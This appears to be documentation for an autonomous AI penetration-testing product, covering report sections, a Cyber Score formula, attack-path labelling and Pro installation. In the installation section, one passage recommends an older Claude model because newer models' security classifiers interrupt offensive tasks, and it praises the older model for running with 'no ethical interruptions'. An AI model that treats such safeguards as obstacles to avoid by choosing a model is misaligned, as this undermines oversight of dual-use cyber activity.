LLegend: Evidence-Backed vs Possible Attack Path, evidence status (not severity), treatment statuses, score statuses
F R PFindings, report, attack paths of the campaign in context
/Search
?All keys
qBack to the console

Captures

Community edition, /explore on a campaign against a local DVGA lab (synthetic demo data, IP addresses tokenised):

Terminal Explorer workspace: findings, exploited, critical and attack-path counters, projects and campaigns, executive block with grade E 0/100 Rated, activity, campaign card
Workspace (1): executive block, recent campaigns, activity and the campaign in context.
Terminal Explorer Prioritized Treatment Plan with actions, effort and treatment statuses
Prioritized Treatment Plan (5 / T): one action per asset and weakness class.
Terminal Explorer framework technical assessment with control states counted per framework
Framework technical assessment (X): four control states, counts only.
Terminal Explorer attack paths: every path labelled Possible Attack Path in Community
Attack paths (6 / P): in Community every path is a Possible Attack Path.
Terminal Explorer legend at 80 by 24 columns
Legend (L), drawn in an 80 × 24 terminal.

Darkmoon Pro, the same explorer signed in to the local API:

Pro Terminal Explorer workspace in the context of a project
Pro: workspace in the context of a project.
Pro Terminal Explorer attack paths tab
Pro: attack paths of a campaign, Evidence-Backed paths listed apart from Possible ones.

From a shell OSS

The same data is available as JSON from a shell:

Terminal
python3 conf/plugins/darkmoon-explorer/darkmoon_explore.py --help
# commands: projects, campaigns, campaign, finding, vulnerabilities, report, paths,
#           plan, frameworks, profile, executive, executive --project, legend

Declarations you edit by hand OSS

In Community, the facts only you can know are declared by you, by editing local files. No agent and no MCP tool can write them:

FileSchemaContent
~/.local/share/opencode/profiles/<project_id>.jsondarkmoon-application-profile-declarations/1Application profile (criticality, exposure, data, declared RTO/RPO)
~/.local/share/opencode/treatments/<campaign_id>.jsondarkmoon-treatment-declarations/1Treatment statuses of the plan's actions
~/.local/share/opencode/policies/<project_id>.jsondarkmoon-maintenance-policy/1Maintenance windows (see below)

Files are validated on every read; an invalid entry is listed and ignored. « Applied » always reads « not verified »: Community runs no retest, and a declaration never changes the findings, the counts or the Cyber Score.

Limits

  • A truecolor terminal is recommended; no images are drawn, and branching attack paths are listed path by path.
  • Pro: the API has no per-project access control, so the explorer shows whatever the signed-in account can read.

Design notes and measures: darkmoon-visualization-research (terminal interface research).

Reports · 12/22

Reports

One report model, darkmoon-report/v2, rendered as Markdown in Community and as Markdown, report page and PDF in Pro.

  • OSS
  • Pro
  • 4 sections
  • 2 min read

Every report is rendered from one model, darkmoon-report/v2, computed by the server from the findings and the coverage signals it recorded. The sections are stable, so two reports can be read side by side.

Sections

  1. Cyber Score: status, rating and grade, what holds the grade (Cyber Score v1)
  2. Method and test coverage: what ran, measured duration, assets mapped, what was not covered
  3. Executive summary: the agent's summary, quoted and labelled « not verified by the server », with the first actions of the plan
  4. Application profile: the facts you declared, each with its provenance
  5. Business context and exposure
  6. Critical risks
  7. Framework technical assessment: counts per control state, never a compliance statement
  8. Resilience and availability
  9. Prioritized Treatment Plan: one action per asset × weakness class
  10. Attack paths: Evidence-Backed and Possible Attack Paths, kept apart (Attack paths)
  11. Detailed findings
  12. Evidence and methodology
  13. Limitations

Head of a report generated by the Pro API on the synthetic demo data set (the DVGA lab, host name replaced by a reserved .invalid name):

Markdown
# Security Assessment Report — dvga.demo.invalid

**Target:** dvga.demo.invalid
**Campaign:** camp_20261119_c80c95bf
**Method:** Test references: NIST SP 800-115, MITRE ATT&CK
**Report model:** darkmoon-report/v2 (pro)

1. Cyber Score
2. Method and test coverage
3. Executive summary
4. Application profile
5. Business context and exposure
6. Critical risks
7. Framework technical assessment
8. Resilience and availability
9. Prioritized Treatment Plan
10. Attack paths
11. Detailed findings
12. Evidence and methodology
13. Limitations

Formats by edition

CommunityPro
Markdown fileyesyes
Report page in the dashboardnoyes
PDF (A4)noyes, from the same model as the Markdown
Annexnoneinfrastructure, Fix first and remediation priorities

Campaigns recorded before the model existed keep their previous report.

What is computed, what is asserted

  • The score, coverage, plan, framework counts and attack paths are computed by the server without any model call; no agent can write them.
  • The only model-written prose is the agent's executive summary, quoted and labelled « not verified by the server ».
  • Finding statuses are exploited, confirmed or unconfirmed. Any other word from an agent is stored as unconfirmed, with the agent's word kept apart. A status is asserted by the agent, not machine-verified; in Pro a person or a retest can change it.
  • Evidence is masked by the redaction engine; if the engine cannot load, evidence is withheld (fail closed).

Where reports are written

Reports are generated server-side from the findings store and written to the reports directory. When DARKMOON_REPORTS_DIR is set, that path wins; the Pro stack sets it so reports land on a persistent volume. Community does not need it: its data directory already is the volume-mounted path.

Executive security · 13/22

Executive security

Cyber Score v1, Prioritized Treatment Plan, framework technical assessment, application profile and maintenance windows.

  • OSS
  • Pro
  • 7 sections
  • 5 min read

Since the executive-security release of 2026-11-20, every campaign gets a small set of executive documents. They are computed by the same shared core in Community and Pro, from the findings and the coverage signals the server recorded. No model call is involved and no agent can write them.

Darkmoon Pro campaign overview with the Cyber Score card: grade E, 0/100, Rated, coverage sentence, what holds the grade, first three actions and frameworks line
Darkmoon Pro, campaign overview: Cyber Score, coverage, what holds the grade, first actions and frameworks line (synthetic demo data).

Cyber Score v1

An exposure rating of what one campaign found in its tested scope, from 0 to 100 (higher means less exposure found), with a grade from A to E. It is not a measure of the overall security level, not a compliance statement and not a probability of breach.

Status before any number

StatusWhenNumber
Not ratedthe campaign did not complete; a retest; coverage signals absent, incomplete or modified after finalisation; a severity filter applied at launchnone
Limited testcompleted, but under a coverage floor, or launched with attack exclusions, the stealth noise level or a focus listcapped at 69
Ratedotherwise0 to 100

Coverage floors

Recorded by the server, never declared by the agents. A rated campaign must reach every floor: 30 minutes of measured activity, 2 specialised agents observed, 1 asset registered and 10 toolbox commands executed.

Formula

  1. The penalty unit is one asset and one weakness class (the same unit as an action of the treatment plan).
  2. Unit penalty = the highest severity weight × proof factor among its open findings (critical 30, high 15, medium 5, low 2, info 0; exploited 1.0, confirmed 0.8, unconfirmed 0.5), plus 10 % per additional distinct weakness, at most 30 %.
  3. Class penalty = the largest unit of the class plus 25 % of each further unit, at most 50 %.
  4. Rating = 100 minus the sum of the class penalties, bounded to 0..100.
  5. Caps by worst evidence: 39 while an exploited critical finding is open, 49 for a confirmed critical, 59 for an exploited high; then the limited-test cap (69).
  6. Grade: A from 90, B from 75, C from 60, D from 40, E below 40.

Unconfirmed findings never set a cap. Recording a treatment never changes the rating: only a new campaign, or a completed retest for a treatment status, shows its effect. The rating explains what holds it (the binding cap, the weakness classes that weigh most), so two campaigns both rated 0 can be told apart.

Important: Not scientifically validated
The Cyber Score is not scientifically validated: weights, caps and coverage floors are expert-set product rules, not calibrated against breach outcomes, and run-to-run variance on the same target has not been measured. A score of 100 means « no weakness was found in the tested scope », never a proof of absence.

Public methodology, checked against the code by an automated test: docs/cyber-score-methodology.md.

Prioritized Treatment Plan

One action per asset × weakness class, with an indicative effort band, an owner, a retest gate and a treatment status.

CommunityPro
Where statuses are setlocal declarations file, by handdashboard and API, by administrators, with an append-only audit
« Applied »always « Applied — not verified » (no retest in Community)a declaration until a completed retest that met its coverage gate verifies it

« Not reproduced at retest » is not a proof of resolution; a new full campaign confirms it.

Darkmoon Pro Prioritized Treatment Plan listing actions per weakness class and asset with findings, attack paths, controls, priority, effort and verification status
Darkmoon Pro, Prioritized Treatment Plan (synthetic demo data).
Darkmoon Pro treatment action drawer with findings addressed, retest gate and status history
Darkmoon Pro, one action of the plan opened in its drawer.

Framework technical assessment

Technical findings relevant to ISO/IEC 27001 Annex A controls, GDPR art. 32 (technical side only), NIS2 art. 21(2) and the EU AI Act art. 15. Each control is in exactly one of four states:

  • Weakness observed
  • No weakness observed in the tested scope
  • Not tested by this campaign
  • Not assessable by a technical test
Warning:
Counts only. The assessment shows how many controls are in each state; it never gives a percentage and never states compliance. It is not an audit, a certification or a legal opinion: organisational measures are not assessed, national transpositions of NIS2 are not covered, and the catalogue texts are paraphrases, not the legal texts.

Pro adds views for MITRE ATT&CK, EBIOS RM, MITRE ATLAS and IEC 62443. Pro

Darkmoon Pro frameworks view: ISO 27001, GDPR, NIS2 and AI Act cards with control states counted, and ISO 27001 categories
Darkmoon Pro, framework technical assessment, light theme (top of the page, synthetic demo data).

Application profile

Facts you declare about the application (criticality, exposure, data, declared RTO/RPO), each with its provenance. Unknown fields read « Unknown / Not provided ». Community: a local file (Terminal Explorer); Pro: the project page.

Maintenance windows

A project's maintenance policy says when active testing may start on it. Both editions use the same model and evaluation; they differ in what happens outside the policy.

CommunityPro
Launch outside the policywarns only: a warning on the MCP server log, a security event, and the evaluation recorded on the campaign; the campaign goes onenforced: a new campaign or a retest launched through the API is refused unless an administrator gives an override reason
Overridenot applicableaudited, and visible in the campaign and in the report
Scheduled runsnot applicablea run due outside the policy is skipped
Campaign opened outside the APIn/arecorded with a warning, not blocked
Running campaign at a window endnever stoppednever stopped

Community policy file, written by hand in ~/.local/share/opencode/policies/<project_id>.json (Pro: the project page):

JSON
{
  "schema_version": "darkmoon-maintenance-policy/1",
  "project_id": "<project_id>",
  "timezone": "Europe/Paris",
  "windows": [{"days": ["mon", "tue", "wed", "thu", "fri"], "start": "22:00", "end": "06:00"}],
  "blackouts": [{"start": "2026-12-24", "end": "2027-01-02", "label": "Year-end freeze"}],
  "max_duration_minutes": 360
}

windows are local wall-clock times in timezone; an end before start runs past midnight; blackout dates block windows too. A file that cannot be read is never ignored silently: every launch gets the warning until it is fixed. A pipeline can check the policy before its own scan step (inside the Darkmoon container, from mcp/):

Terminal
python3 -m api.maintenance_local check <project_id> --kind full --duration 120
# exit code 0: inside the policy · 1: warning · 3: outside it

Reference: docs/maintenance-windows.md.

Security events

Stable event names on the darkmoon.audit logger (MCP server stderr), optional JSON lines with DARKMOON_LOG_FORMAT=json, secrets redacted. Reference: docs/security-events.md.

Limitations

  • The Cyber Score rates the tested scope only and is not scientifically validated; severity and proof level are reported by the testing agent.
  • Framework assessments are technical observations, not compliance statements.
  • Community declaration files and coverage signals are local and not tamper-evident; the digest taken at the first close detects naive edits only.
  • Maintenance windows never stop a running campaign.

Attack paths · 14/22

Attack paths

Architecture D: declared, evidence-backed and possible links between findings, and a server that abstains rather than guesses.

  • OSS
  • Pro
  • 5 sections
  • 3 min read

Darkmoon links findings into attack paths with an engine shared by Community and Pro (schema darkmoon-attack-paths/v1). The engine makes no model call. The current design is called architecture D.

Three words, kept apart

WordMeaningRanked?
DeclaredAn agent stated that a finding used the result of an earlier one (a token, a credential, an access). A lead, not proof.no
Evidence-Backed Attack PathEvery step is supported by a server rule or a server qualification on the server's own records.yes
Possible Attack PathAnything else: declared by the agent and not verified, or inferred by the server from the topology and the confirmed findings. A hypothesis.never

The same vocabulary is used in the dashboard, the report and the Terminal Explorer: Evidence-Backed is drawn solid with a shield, Possible dashed.

Architecture D

  1. Declare. When an agent pushes a finding with dashboard_push_finding, it may list in the optional field enabled_by the earlier findings of the campaign whose result it used.
  2. Validate. The server resolves each reference: rejected_declaration (unknown, other campaign, self, ambiguous, forward in time) is never a path edge; invalidated means a finding of the link was withdrawn; otherwise declared_by_agent, shown at once as part of a Possible Attack Path.
  3. Qualify or abstain. A declared link is promoted only by an exact value attribution on the server's own execution records: a value produced by one recorded execution and consumed by a later successful one, uniquely and in order (observed_flow); with a recorded negative control, causal_necessity_demonstrated. Otherwise the server abstains, with a closed reason, and the link stays Possible.
  4. Label by the weakest link. A path is Evidence-Backed only if every step is supported. Everything else is a Possible Attack Path and is never ranked.
flowchart TB
  F["Finding pushed<br/>enabled_by: earlier findings"] --> V{"Server validates<br/>each reference"}
  V -->|"unknown, other campaign,<br/>self, ambiguous, forward"| R["rejected_declaration<br/>never a path edge"]
  V -->|"a finding was withdrawn"| I["invalidated"]
  V --> D["declared_by_agent<br/>shown at once as Possible"]
  D --> Q{"Exact value attribution<br/>on the execution ledger?<br/>(Pro only)"}
  Q -->|"yes"| OF["observed_flow<br/>or causal_necessity_demonstrated"]
  Q -->|"no"| AB["abstain<br/>link stays Possible"]
  OF --> W["Path label = weakest link"]
  AB --> W
  W --> EB["Evidence-Backed Attack Path"]
  W --> PO["Possible Attack Path<br/>hypothesis, never ranked"]

A campaign whose findings carry no enabled_by loads, pushes and finalises as before.

In Community: Possible only OSS

Community has no execution ledger and the agent-written evidence text is withheld from the engine, so no link can be qualified: proven_paths = 0 by construction. Every path you see is a Possible Attack Path, of one of two kinds: built from the agents' declarations (« declared by the agent, not verified »), or inferred by the server from the infrastructure topology and the confirmed findings (« inferred by the server, a hypothesis »).

The Terminal Explorer shows them under 6 (or P on a campaign) and the report in its attack-path section, with a part on declared links when at least one finding carries enabled_by.

Community Terminal Explorer listing Possible Attack Paths
Community, Terminal Explorer: Possible Attack Paths only.

In Pro: a server that can qualify Pro

  • The MCP server keeps a per-run execution ledger (salted HMAC fingerprints only, on by default). It is what lets the server attempt an exact value attribution.
  • Two server rules also create links: an artefact produced by one finding reused as a credential by another, and an exploited finding whose response proves access to another node. They read the evidence pushed with the findings (agent-transcribed), not an independent capture.
  • Fix first ranks fixes by the evidence-backed paths they break (a simulation, not applied). Without ranked paths it falls back to « by reported severity × proof » and says so.
  • Operator-declared paths (administrators only, audited) are kept outside the engine, labelled « Declared by operator · not proven » and never counted.
Darkmoon Pro attack paths view: eleven Possible Attack Paths labelled Inferred in the side rail, the explanation that no path could be proven from the evidence, and the first path drawn on the zoned map with a not proven banner
Darkmoon Pro, attack paths: « Inferred attack path · not proven », « a reading of the inventory, not a demonstrated attack » (anonymised real OWASP Juice Shop campaign).
Darkmoon Pro attack paths legend explaining Evidence-Backed and Possible paths
Darkmoon Pro, the legend of the attack-path view.

Honest limits

Warning: What has not been demonstrated
  • On every real campaign measured so far, the server qualified 0 declared links, in Pro as well. Most paths shown are Possible Attack Paths.
  • Measured against an independent oracle on three real campaigns, the quality of agent declarations was modest and unstable (about 0.3 to 0.6).
  • The MCP call carries no OpenCode session identity: the server knows the run, not which sub-agent made a call.
  • The two server rules read agent-transcribed evidence, not an independent capture. Other experimental attack-path options are off by default.

The full record, including the history of approaches, the evidence model, the experiments and the negative results, is public: darkmoon-attack-paths-research.

Pro Edition · 15/22

VIII. Darkmoon Pro Edition

Darkmoon Pro is the commercial edition of Darkmoon. It extends the open-source Community version with:

  • Pro
  • 13 sections
  • 27 min read
  • A web UI dashboard accessible at http://localhost:80
  • A licence-based activation system
  • An anti-tamper runtime guard
  • An encrypted, signed PDF report generator
  • A CI/CD integration pipeline
  • An SSO-compatible authentication layer (Authelia / OIDC)
  • A scheduled campaign system
  • A multi-campaign project view with vulnerability graphs
Information:
Live demo available at demo.dark-moon.org
Customer portal: portal.dark-moon.org

VIII.0What Pro adds (production, 2026-11-20)

Darkmoon Pro runs the same engine as Darkmoon Community (agents, MCP gatekeeper, toolbox, executive core and attack-path engine) and adds a shell to serve, protect and ship it. Everything below is deployed in production.

FeaturePro behaviour
Web dashboardProjects, campaigns, findings, infrastructure map, report and PDF; live runs stream over Server-Sent Events
Executive securityCyber Score v1, Prioritized Treatment Plan edited by administrators and verified by a completed retest, framework technical assessment, application profile and maintenance policy editors (Executive security)
Maintenance windowsEnforced for API launches; an administrator override is audited and shown in the campaign and the report
Attack pathsExecution ledger, server qualification of declared links, Fix first, operator-declared paths kept apart (Attack paths in Pro)
ReportsMarkdown, report page and PDF from the same model darkmoon-report/v2 (Reports)
RetestRe-runs the findings of a campaign; only a completed retest can verify a treatment action
RemediationThe remediation agent opens fix pull requests for human review, never merged automatically (Remediation)
MCP17 tools (MCP tools)
Terminal ExplorerThe same /explore as Community, signed in to the local API (Terminal Explorer)

Campaign views

The campaign page has a header card with fixed tabs: Map, Attack paths, Findings, Overview, Replay, Frameworks, Reports. Its executive block shows the Cyber Score or « Not rated », one coverage sentence, the first actions and one frameworks line. The verdict sentence is computed from evidence-backed paths only. Captures on demo data: the map and attack paths come from an anonymised real OWASP Juice Shop campaign, the overview from synthetic demo data (a renamed copy of a lab campaign against DVGA, IP addresses tokenised); the same interface runs at demo.dark-moon.org.

Darkmoon Pro campaign overview with header tabs and Cyber Score card
Campaign overview: header card, Cyber Score, first actions.
Darkmoon Pro campaign map: Internet, Edge, Application and Data zones holding 43 assets, edges labelled contains, stack, endpoint, runs and root, and per-asset finding counts
Map: the campaign's 43 assets in nested zones, wired with labelled edges, with the finding count on each asset.

VIII.1Licence Key & Activation

At the time of purchase on portal.dark-moon.org, you receive:

  • A licence key (format: XXXXX-XXXXX-XXXXX-XXXXX)
  • A ready-to-run installation command to copy & paste

One key can be activated on one or several machines, depending on the quantity selected at purchase.

Customer portal — licence key

Customer portal showing the licence key and installation command block.

How the licence works

The licence key is validated at container startup. Three error states can occur:

Container restarting (key validation in progress / failed)
Terminal
./darkmoon.sh
Error response from daemon: Container ce8bdf7ee8c36e895f768366663802f49223a2cf221487c1c2c9e67e114f13d9 is restarting, wait until the container is running

This means the container is trying to start but encounters an issue. Usually it indicates an invalid or expired licence key. Check the logs:

Terminal
docker logs opencode
Invalid or expired licence key

If the logs contain any of the following patterns:

clé incorrecte
Missing license
activation failed
license validation failed

The wrapper darkmoon.sh automatically detects this and displays:

  ❌ Darkmoon — Invalid license
     Your license key is incorrect or has expired.
     Re-run: sudo ./install.sh YOUR-KEY
Container not running
  ❌ Darkmoon — Container is not running (state: exited)
     Check logs: docker logs opencode
Important:
Important The licence check happens regardless of the container status. Even if the container is stopped or restarting, darkmoon.sh inspects the logs to give you a precise error message.

Licence validation flow

State Meaning Action
Running ✅ Key valid, container healthy Use ./darkmoon.sh normally
Restarting 🔄 Boot sequence or key check failing docker logs opencode to inspect
Invalid key ❌ Wrong key or expired sudo ./install.sh YOUR-KEY
Exited ❌ Container crashed docker logs opencode to inspect

VIII.2Installation (Pro)

Download the Pro files

Fetch the installer and the stack files from the client portal (portal.dark-moon.org):

Terminal
curl -fsSLO https://portal.dark-moon.org/install.sh
curl -fsSLO https://portal.dark-moon.org/docker-compose.yml
curl -fsSLO https://portal.dark-moon.org/darkmoon.sh
curl -fsSLO https://portal.dark-moon.org/darkmoon-persist.sh
chmod +x install.sh darkmoon.sh darkmoon-persist.sh
Important:
Always start from clean files. Every file fetched with curl must be deleted before it is downloaded again. Re-running the curl command over existing files can leave a stale installer or an outdated docker-compose.yml in place, so a reinstall would silently run the previous version instead of the current one. Always remove the previously downloaded files first, then re-download.

Apple Silicon (arm64)

Darkmoon Pro supports linux/amd64 hosts only: on an arm64 machine (Apple Silicon, ARM Linux) the portal install.sh stops with “macOS / ARM architecture is not supported”. Install Pro on an x86_64 Linux host or VM with the portal flow above, or contact support if you need another option. Darkmoon Community (public, github.com/ASCIT31/Dark-Moon) does install on arm64: its installer detects the architecture and builds the images locally.

Terminal
git clone https://github.com/ASCIT31/Dark-Moon.git
cd Dark-Moon
./install.sh
Information:
On arm64 the Community installer uses docker-compose-dev.yml and builds every image on your machine, so the first install takes longer than on amd64. Native arm64 images for Pro are on the roadmap.

Reinstall / update (clean re-download)

To reinstall, or to pull the latest version, delete every file previously downloaded with curl, then download them again from the portal:

rm -f install.sh install.sh.static docker-compose.yml darkmoon.sh darkmoon-persist.sh
curl -fsSLO https://portal.dark-moon.org/install.sh
curl -fsSLO https://portal.dark-moon.org/docker-compose.yml
curl -fsSLO https://portal.dark-moon.org/darkmoon.sh
curl -fsSLO https://portal.dark-moon.org/darkmoon-persist.sh
chmod +x install.sh darkmoon.sh darkmoon-persist.sh

Run the installer

Installation is done via install.sh, which accepts the licence key as first argument:

Terminal
sudo ./install.sh XXXXX-XXXXX-XXXXX-XXXXX

You can also pass the LLM provider configuration non-interactively at install time:

Cloud provider (non-interactive) — recommended

Terminal
sudo ./install.sh YOUR-KEY --provider anthropic --model claude-opus-4-7 --api-key sk-ant-xxx
Information:
Best results: Darkmoon is designed and tuned to run in ideal conditions with Claude Opus 4.6 / 4.7. The autonomous pentest agent chains thousands of tool calls over very long sessions — this requires a frontier-grade reasoning & tool-calling model. Opus 4.7 is the reference target.
Important:
Anthropic cyber-safety restrictions — Claude Opus 4.6 is the most stable choice. Recent Anthropic models ship security classifiers that can interrupt, refuse, or silently downgrade offensive-security tasks (reconnaissance, PoC, exploitation) even on authorized engagements with the scope/authorization in context. Fable 5 / Mythos 5 silently fall back to a weaker model on cyber-flagged requests, and in our own testing Opus 4.8 hit these limits mid-assessment, whereas Claude Opus 4.6 ran the full assessment end-to-end — broad vulnerability coverage, no ethical interruptions, no fallback. For Darkmoon, Claude Opus 4.6 is the recommended, most stable model. Darkmoon is for authorized security testing only. Optional but recommended (not required — Darkmoon works without it): if you can, apply to Anthropic's Cyber Verification Program (CVP). Once approved, dual-use cyber activities (e.g. vulnerability exploitation, offensive-security tooling) are no longer blocked by default for your approved organization, further reducing false-positive interruptions on legitimate work. Approval is per-organization (each org applies separately), and prohibited-use activities (e.g. mass data exfiltration, ransomware development) remain blocked regardless of CVP status.

Local model (Ollama / llama.cpp)

Warning:
Heavyweight models only. Local mode is fully supported, but only with large reasoning / agentic models (32B parameters and up, e.g. GLM-4.6, Qwen2.5-Coder-32B, Llama-3.3-70B). Small models (7B / 13B) cannot sustain the autonomous agent loop and will leave campaigns stuck in Unknown — see Compatible Models & Hardware.
Terminal
sudo ./install.sh YOUR-KEY --local --local-engine ollama --local-url http://localhost:11434/v1 --local-model glm-4.6:32b
Terminal
sudo ./install.sh YOUR-KEY --local --local-engine llama.cpp --local-url http://localhost:8001/v1 --local-model Qwen2.5-Coder-32B-Instruct-Q4_K_M.gguf

On-prem Anthropic-compatible endpoint

Information:
Use this when you host a model behind an endpoint that speaks the Anthropic Messages API (/v1/messages) at a custom URL — e.g. an internal Claude gateway or proxy. This is distinct from --local, which targets OpenAI-compatible endpoints (/v1/chat/completions). The --anthropic-model must be a recognized Claude model id (e.g. claude-opus-4-6): opencode routes it through its native Anthropic provider and your endpoint maps it to the served model. --anthropic-key is optional — omit it for keyless endpoints.
Terminal
sudo ./install.sh YOUR-KEY --anthropic-url https://llm.corp.tld/my-model/v1 --anthropic-model claude-opus-4-6 --anthropic-key sk-xxx

Options reference

Option Description
--init Force LLM provider reconfiguration even if already configured
--provider <name> Cloud provider name (e.g. anthropic, openai, openrouter)
--model <name> Model name (e.g. claude-opus-4-6, gpt-4o)
--api-key <key> Provider API key
--local Enable local model mode
--local-engine <engine> ollama / llama.cpp / custom
--local-url <url> Base URL (e.g. http://localhost:8001/v1)
--local-model <name> Model name
--local-api-key <key> API key for authenticated OpenAI-compatible endpoints (optional)
--anthropic-url <url> On-prem Anthropic-compatible base URL (e.g. https://llm.corp.tld/my-model/v1)
--anthropic-model <name> Recognized Claude model id, mapped by the endpoint (e.g. claude-opus-4-6)
--anthropic-key <key> API key (optional — omit for keyless endpoints)
Information:
Re-running install.sh If you already have a configured .opencode.env, running ./install.sh YOUR-KEY will reuse it without prompting. Use --init to force reconfiguration.

VIII.2.cDiagnostics & self-repair (darkmoon doctor)

You do not need to know Docker to keep Darkmoon healthy. The darkmoon command has a built-in doctor that checks everything, explains any problem in plain language, and can fix the safe ones for you.

Check your installation

Terminal
darkmoon doctor

Runs a full health check: Docker & Compose, both containers, image versions (and whether a newer one is available on Docker Hub), your license, the LLM provider and whether its endpoint is reachable from inside the container, the Privacy Gateway, the UI port, free disk and RAM, and GPU/NVIDIA. Every line is either ✔ ok, ⚠ a warning (with what to do), or ✗ a problem. It works even when the stack is broken.

Fix the safe problems automatically

Terminal
darkmoon doctor --fix

Runs the same check, then applies only safe, deterministic fixes (for example: refresh a stale image and recreate a container stuck in a restart loop). It never touches your data and never guesses.

Everyday operations

CommandWhat it does
darkmoon restartClean restart of the stack.
darkmoon updateBacks up your config & license, pulls the latest images, recreates the stack and health-checks it — and rolls back if the update fails.
darkmoon repairRecreates crashed or unhealthy containers. Your data (sessions, reports, license) is preserved.
darkmoon repair --fullBacks up everything, does a clean reinstall, then restores and validates. Asks for confirmation first.
Information:
Your data is safe. update and every repair back up your configuration and license before doing anything, and never delete the sealed data volume without a verified backup and an explicit confirmation. Add --yes to run doctor --fix or repair non-interactively (for scripts).
Important:
Most common issues the doctor catches for you: no LLM API key set (the agent otherwise falls back to a default model and fails with “Missing Authentication header”); an endpoint set to localhost, which points to the container itself and hangs silently — use your host LAN IP or host.docker.internal; a stale image causing a restart loop; a license error; a UI port already in use; and GPU images requested on a machine without an NVIDIA runtime.

VIII.3Adding / Updating LLM Providers

In the Community edition, provider configuration was done via darkmoon-settings/ files.

In the Pro edition, everything goes through darkmoon.sh — no more manual file editing.

Add or update a provider

Terminal
./darkmoon.sh --connect

This command prompts you for:

  1. The provider name (e.g. anthropic, openai, groq, openrouter, mistral)
  2. The API key for that provider

The provider is then:

  • saved persistently in .opencode.env (survives restarts),
  • applied live to the running container (no restart needed).
Adding a provider via darkmoon.sh --connect

Adding a provider with ./darkmoon.sh --connect — the key is saved and applied live.

Change the default model

Terminal
./darkmoon.sh --set-default

This shows your configured providers and lets you pick the active model. The change is applied live and persists after restart.

Prompt caching — route through the native provider

Prompt caching is a provider-side feature: on the long autonomous runs Darkmoon performs, re-using a byte-identical prompt prefix is billed at the provider’s cheaper cache-read rate instead of full input price. It only works when the provider is declared with its native SDK, because each provider ships caching in its own wire format:

  • Anthropic (Claude) — caching is honored only on the native anthropic provider (native Messages API). Configure it with ANTHROPIC_BASE_URL + ANTHROPIC_MODEL (any Claude model, e.g. claude-sonnet-5, claude-opus-5-5). Caching is tied to the provider, not the model — every Claude model on the native provider caches.
  • OpenAI — caching is automatic server-side; nothing to configure.
  • A custom / OpenAI-compatible provider (a bespoke base URL) caches only if that endpoint itself implements it. In particular, pointing an OpenAI-compatible provider at Anthropic’s OpenAI-compatibility endpoint disables Claude prompt caching — the cache marker is sent in the wrong format and is ignored. To use an on-prem Anthropic-compatible gateway and keep caching, declare it as the native anthropic provider (point ANTHROPIC_BASE_URL at the gateway), not as an openai-compatible one.

Rule of thumb: for Claude, always route through the native anthropic provider. You can confirm caching is active on your Anthropic Console usage page — the cache-read / cache-write token counts should be non-zero.

Information:
No published reduction figure. The savings depend entirely on your provider’s pricing and how much of the prompt prefix stays stable between turns. Darkmoon does not ship a measured cost-reduction percentage — the effect is real but workload-specific, so measure it on your own usage page rather than relying on a headline number.

Recommended .opencode.env for Anthropic (any Claude model — caching is tied to the provider, not the model):

Terminal
# Native Anthropic provider -> prompt caching ON
OPENCODE_LOCAL_MODE=false
ANTHROPIC_BASE_URL=https://api.anthropic.com
ANTHROPIC_MODEL=claude-sonnet-5        # or claude-opus-..., etc.
ANTHROPIC_API_KEY=sk-ant-...

Conversely, avoid a local / OpenAI-compatible provider pointed at Anthropic (OPENCODE_LOCAL_MODE=true + OPENCODE_LOCAL_BASE_URL=…anthropic…): it reaches Anthropic but with caching disabled.

Community vs Pro: provider management

Feature Community Pro
Configure provider Edit .env or darkmoon-settings/ ./darkmoon.sh --connect
Multiple providers Manual JSON editing Run --connect multiple times
Change default model Edit opencode.json ./darkmoon.sh --set-default
Live apply (no restart) No Yes
Persistent after restart Yes Yes

VIII.3.bCompatible Models & Hardware

Darkmoon is a fully autonomous pentest agent: a single campaign chains hundreds to thousands of tool calls, spawns sub-agents, and must drive the whole methodology (Discovery → Validation → Reporting → Finalization) to completion on its own. This places a hard requirement on the underlying LLM — it must be excellent at long-horizon reasoning and strict, repeated tool-calling.

Information:
Ideal conditions — Claude Opus 4.6 / 4.7. Darkmoon is built and tuned around frontier models. Claude Opus 4.7 (or 4.6) is the reference configuration and delivers the most complete scans, the deepest exploitation chains, and the most reliable reports. If you want Darkmoon to perform as designed, use Opus 4.6 / 4.7.

Why small models do not work

A 7B or 13B model (e.g. a generic llama3, a 7B coder) cannot hold the autonomous loop: it emits malformed tool calls, loses track over long sessions, and never reaches the final finish_scan / campaign-finalization step. The visible symptom is a campaign that stays in Unknown forever and a scan that never reaches Finished. This is a model-capability limit, not a Darkmoon bug.

Cloud models (recommended)

Model Provider Status
claude-opus-4-7 Anthropic Reference — optimal
claude-opus-4-6 Anthropic Recommended
claude-sonnet-4-6 Anthropic Good (faster / cheaper, slightly less depth)

★ Local Opus-class equivalents (highlighted)

If you need an on-premise / air-gapped deployment but want results as close as possible to Claude Opus 4.6 / 4.7, use one of these frontier-grade open-weight models. They are large Mixture-of-Experts models that top the agentic and function-calling leaderboards (Berkeley Function Calling Leaderboard, SWE-Bench) in 2026 — the only open models that reliably drive Darkmoon's autonomous loop end-to-end.

Model Size (total / active) Why it qualifies HuggingFace
DeepSeek-V3.2 / V4-Pro 671B MoE / 37B active Near-frontier reasoning, native “thinking with tools” tool-calling deepseek-ai/DeepSeek-V3.2
Kimi-K2-Thinking (K2.6) 1T MoE / 32B active Best-in-class agentic intelligence, 256K context moonshotai/Kimi-K2-Thinking
GLM-4.6 (GLM-4.7 / GLM-5 family) 357B MoE / 32B active Strongest all-round open coding/agentic model, 200K context zai-org/GLM-4.6
Qwen3-Coder-480B-A35B-Instruct 480B MoE / 35B active SOTA open agentic tool-use, comparable to Claude Sonnet 4, 256K–1M ctx Qwen/Qwen3-Coder-480B-A35B-Instruct
Information:
These flagship models are the recommended local target if you want Opus-class behaviour. At full precision they need a multi-GPU server, but quantized GGUF builds (2–4 bit) run on a high-end workstation with MoE offloading — see hardware below.

Local models — efficient single-workstation options

When a multi-GPU server is not available, these run on a single high-end GPU while still completing real campaigns (MoE designs keep only a few billion parameters active per token):

Model Size (total / active) Notes HuggingFace
Qwen3-Coder-30B-A3B-Instruct 30B MoE / 3B active Best efficiency — fits a single 24 GB GPU, strong agentic tool-use Qwen/Qwen3-Coder-30B-A3B-Instruct
Qwen3-Coder-Next MoE Highest capability-per-active-parameter Qwen/Qwen3-Coder-Next
Qwen2.5-Coder-32B-Instruct 32B dense Dense fallback, excellent tool-calling Qwen/Qwen2.5-Coder-32B-Instruct

Security / pentest-specialised models

